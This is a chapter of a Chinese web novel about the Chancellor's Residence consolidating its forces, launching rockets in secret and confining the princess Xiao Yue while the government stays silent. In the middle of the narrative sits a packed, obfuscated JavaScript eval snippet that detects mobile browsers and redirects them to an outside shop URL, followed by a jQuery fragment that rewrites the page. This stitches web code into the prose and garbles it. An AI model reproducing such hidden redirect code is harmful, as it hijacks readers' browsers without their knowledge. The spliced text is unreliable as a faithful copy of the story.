九鼎殿内那场足以震动国本的“交剑”仪式,其引发的波澜尚在朝野间回荡、消化,另一股更加隐晦却不容忽视的暗流,已悄然在丞相府及其关联地域涌动。这股暗流没有宣告,没有公文,却以一系列精密、高效、乃至在某些人看来略显急迫的行动,勾勒出一幅令人屏息的图景——收缩、集中、戒备、乃至某种难以言喻的……蓄势。
最先察觉到异样的,是那些与丞相府有长期商务往来的供应商和承包商。原本源源不断运往丞相府各隐秘基地、研制阁外围工坊的特殊合金锭、稀有晶体原料、高纯度化学制剂乃至部分大型精密加工设备的订单,在达到一个峰值后,开始以平稳却坚决的态势回落。并非需求消失,而是交货地点开始发生微妙变化。一部分被要求直接运往军方指定的、新近启用或扩建的保密仓库;另一部分则被集中到几个特定的、由丞相府暗卫直接接管的中转枢纽。曾经车水马龙、满载着“不明货物”驶向深山或沿海秘密设施的运输车队,频率明显降低。
紧接着,是人员的流动。研制阁内部,一些非核心的、或已完成阶段性任务的“客卿”及辅助团队,陆续接到了“项目调整”或“外部协作”的通知。他们被礼貌而坚决地引导离开核心研究区域,部分携带有限资料,前往与政府合建的新实验室或指定的高校研究机构报到。与此同时,丞相府控制的几个大型训练基地和外围安保据点,开始了低调但彻底的物资清点和设备转移。可移动的精密仪器、储备的能源单元、加密数据库的物理备份……凡是能够拆卸、运输的贵重资产,都在严格的登记和监督下,被打包封箱,由可靠的内部车队,在夜色或复杂天气的掩护下,驶向未知的目的地。而那些无法移动或转移成本过高的固定设施——如某些深埋地下的早期测试场、部分位于偏远地区的通讯中继站、以及一些年代较久、技术已显落后的专用生产线——则在内部人员撤离后,由专业工程小队执行了彻底的、不可逆的物理破坏与数据销毁。爆炸的闷响在无人山谷中回荡,浓烟在偏僻海岸升起,随即被自然风雨或刻意安排的气象手段掩盖。不留痕迹,不留隐患。
更引人注目的,是“骁果军”的动向。这支原本分散驻防在丞相府各核心设施、关键资源点及战略要冲的复古劲旅,开始以“轮训”、“合成演练”、“装备换季维护”等名义,向几个位于腹地、防御极为森严的大型综合基地集中。沿途关卡戒严,空中管制,外界难以窥其全貌。但零星的消息和远距离的观察表明,集中起来的骁果军并未松懈,相反,训练强度陡然提升,且出现了大量新型装备的适应性训练场景——那些装备的轮廓,与之前移交政府的“雷鸟”系列似乎同源,却又有些不同,更显精悍,整合度更高。与此同时,丞相府面向特定渠道的招募再次启动,这一次的标准更加严苛,背景审查几乎到了掘地三尺的地步,但待遇和前景的描述也更具吸引力,目标直指补充骁果军在集中整编中可能出现的岗位空缺,并似乎有意扩编若干新的特种作战单元。
最为直观,也最无法掩盖的迹象,来自天空。
在华夏西北、西南几处人迹罕至的荒原或海滨,原本就属于航天发射场的区域,近期的活动频率达到了一个前所未有的高峰。重型运载火箭的巍峨身影,不再是以“月”或“季度”为周期出现,而是以“日”甚至更短的间隔,刺破苍穹,拖着耀眼的尾焰,没入深邃的太空。发射通常安排在深夜或黎明前,戒备等级极高,对外宣称的载荷多是“新型遥感卫星”、“技术验证平台”或“空间科学实验舱”。但如此密集的发射节奏,远超寻常的航天任务需求,引得国际天文观测机构和部分情报分析机构侧目。有敏锐的观察者通过有限的轨道参数分析,发现部分发射物的最终轨道颇为特殊,并非常见的近地轨道或同步轨道,而是呈现出复杂的变轨机动倾向,最终消失在现有监测网络的边缘盲区。
而丞相府本身,这座原本就守卫森严、充满神秘感的建筑群,其警戒级别提升到了前所未有的程度。外围的明岗暗哨增加了数倍,巡逻路线交叉重叠,不留死角。原本偶尔还对特定访客开放的部分外围区域,如今完全封闭。高墙上增设了新型的探测阵列,能量波动感应器处于持续激活状态,据说连飞鸟误入都可能触发警报。府内人员进出受到极其严格的管制,非核心人员的外出休假被大幅压缩或取消。一种无形的、绷紧的弦,笼罩在丞相府上空。
在这片肃杀与忙碌之中,一个微妙的变化发生在“墨竹苑”。萧月,这位名义上的丞相夫人、北唐长公主,接到了一份来自杨子墨的、措辞简洁却不容置疑的通知:即日起,未经许可,不得离开丞相府范围,与外界的通讯(包括与北唐的联系)需经由丞相府内务司统一安排和检查。名义上是“鉴于近期安全形势复杂,为保障夫人安全”,实则形同软禁。她身边的侍女被部分更换,宋秋虽然仍在,但出入也受到更严密的监控。萧月对此没有表现出激烈的反应,只是越发沉默,待在书房或临窗软榻上的时间越来越长,望着苑内那些墨竹,眼神深邃难测,仿佛在透过竹影,审视着府内府外这诡异而紧张的忙乱。
最令人玩味的是,对于丞相府这一系列明显异常的大动作,华夏政府方面,保持了近乎诡异的沉默。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021672|194259||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有质询公文,没有调查组进驻,甚至在日常的政务协调会议上,相关部门的官员也对此避而不谈,仿佛这一切都是理所当然,或者早已在某种更高层面的默契之中。军方更是积极配合,不仅接收了丞相府移交的部分物资和人员,还对丞相府相关区域的空中和地面交通管制给予了充分支持。秦老等最高层,近期深居简出,公开活动减少,似乎也在专注于某些不为人知的事务。
这种“默契的寂静”,比丞相府本身的动作更让某些有心人感到不安。这说明,丞相府的收缩与调动,并非杨子墨个人的心血来潮或孤立行为,而是与政府,至少是与最高决策层,存在着某种深度的协调或共识。他们共同在准备着什么?或者,在应对着什么已知的、迫近的威胁?
外界猜测纷纷。有人认为这是丞相府在移交技术后,进行内部战略调整,集中资源攻关更尖端项目;有人怀疑与北唐局势的潜在恶化有关,丞相府在提前集结力量;更有人将频繁的火箭发射与丞相府早年的“天穹”计划传闻联系起来,猜测是否在构建某种天基系统;甚至有小道消息将近期全球范围内几起未公开的高端技术失窃案、异常地磁波动、以及某些地下情报市场关于“古老遗物苏醒”的隐晦传言联系起来,编织出更加离奇的猜想。
但无论外界如何猜测,丞相府内部,一切都在按部就班、沉默而高效地进行着。带走能带走的,移交能移交的,摧毁不能留的。兵力在集结,装备在更新,火箭在升空。府邸戒严,夫人禁足。政府默许,高层缄口。
山雨欲来风满楼。只是这场雨,似乎并非寻常风雨,而是一场可能从星空、从深海、或从历史尘封处袭来的、前所未见的巨浪。杨子墨站在他那间可以俯瞰部分府内动向的书房窗口,望着远处基地中隐约可见的、正在被细心遮盖的庞大物体轮廓,以及夜空中又一次准时亮起的、奔赴苍穹的火箭尾迹,脸上没有任何表情。
他手中无意识地把玩着一枚古朴的、非金非玉的黑色棋子,棋子表面光滑,却仿佛蕴含着吞噬一切光线的深邃。窗外的墨竹苑,隐没在更深的庭院阴影里,寂静无声。
风已起于青萍之末,漩涡正在看不见的深处成形。收缩阵线,不是为了退却,而是为了将力量凝聚于一点,以便在需要的时候,发出雷霆万钧的一击,或者,承受住那即将到来的、或许能颠覆认知的冲击。
棋盘之上,可见的子力在重新部署。而棋盘之下,那真正决定胜负的规则与变量,似乎正在悄然改变。所有人都感觉到了这种变化,但无人能清晰言说。只能等待,等待那层最后的窗户纸被捅破的时刻。